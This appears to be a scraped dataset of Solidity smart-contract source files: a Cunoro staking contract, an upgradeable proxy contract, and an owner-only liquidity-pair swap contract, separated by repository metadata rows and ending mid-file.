function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ISCunoro is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract CunoroStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for ISCunoro;
IERC20 public immutable Cunoro;
ISCunoro public immutable sCunoro;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Cunoro,
address _sCunoro,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Cunoro != address(0));
Cunoro = IERC20(_Cunoro);
require(_sCunoro != address(0));
sCunoro = ISCunoro(_sCunoro);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Cunoro.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sCunoro.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sCunoro.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Cunoro.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sCunoro.safeTransferFrom(msg.sender, address(this), _amount);
Cunoro.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sCunoro.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sCunoro.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute(); //Cunoro mint should be updated
}
uint balance = contractBalance();
uint staked = sCunoro.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Cunoro.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 97,095 | 10,825 |
a15c29315daa1919685a1c14574820f15a0929e82e039b810d6b2a8829453bb9
| 26,871 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
scraping/data/source/nearpad.sol
| 3,036 | 12,598 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;
// Part: Address
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: IBeacon
interface IBeacon {
function implementation() external view returns (address);
}
// Part: Proxy
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
// Part: StorageSlot
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// Part: ERC1967Upgrade
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)",
oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
// Part: ERC1967Proxy
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
// Part: TransparentUpgradeableProxy
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// File: PadProxy.sol
// TODO rename this to Proxy
contract PadProxy is TransparentUpgradeableProxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable TransparentUpgradeableProxy(_logic, admin_, _data) {}
}
| 344,983 | 10,826 |
aa7b7b84d76502b6b0994f463bc973193da94a990d8e8456ebacc1aadeae386c
| 10,870 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/4e/4e3c168750b75f4b98851e8b75c58bf8562f4bce_arb.sol
| 2,468 | 9,971 |
pragma solidity 0.6.0;
interface IRouter {
function factory() external pure returns (address);
function WTRX() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityTRX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountTRX, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityTRX(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline) external returns (uint amountToken, uint amountTRX);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityTRXWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountTRXMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountTRX);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactTRXForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactTRX(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForTRX(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapTRXForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IAVAX20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IWAVAX {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract arb {
using SafeMath for uint;
address payable private owner ;
address private WAVAX = address(0xd00ae08403B9bbb9124bB305C09058E32C39A48c);
fallback() external payable{
}
constructor() public {
owner = msg.sender;
}
function trade(address pairs , uint256 amount, uint256 amount_out) public {
//require(getAmountOut(path,pairs,amount) >= amount_out);
// (address token0,) = sortTokens(path[0], path[1]);
// (uint reserveIn, uint reserveOut) = getReserves(pairs , path[0] , path[1]);
// amount = calculate(amount, reserveIn, reserveOut);
// (uint amount0Out, uint amount1Out) = path[0] == token0 ? (uint(0), amount) : (amount, uint(0));
//address to = pairs;
//IUniswapV2Pair(pairs).swap(amount0Out , amount1Out, to, new bytes(0));
assert(IWAVAX(WAVAX).transfer(pairs, amount));
IUniswapV2Pair(pairs).swap(amount, amount_out, pairs, new bytes(0));
require(msg.sender == owner);
}
function withdraw(uint256 amount) public{
require(msg.sender == owner);
owner.transfer(amount);
}
function withdrawToken(uint256 amount , address token) public{
require(msg.sender == owner);
IAVAX20(token).transfer(owner ,amount);
}
function calculate(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// fetches and sorts the reserves for a pair
function getReserves(address pair, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pair).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountOut(address[] memory path , address pairs , uint256 amount) internal view returns (uint amountOut) {
amountOut = amount;
(uint reserveIn, uint reserveOut) = getReserves(pairs , path[0] , path[1]);
amountOut = calculate(amountOut, reserveIn, reserveOut);
}
}
| 98,133 | 10,827 |
c036ac56625fc72d56d577d3f560ddafc0d69e308fdd57a56fcc0f934c478a9d
| 29,505 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/39/39cfD061Ad60fb9461F3d2dC0aB997F8f13bC4a8_QuickFinance.sol
| 5,205 | 18,748 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
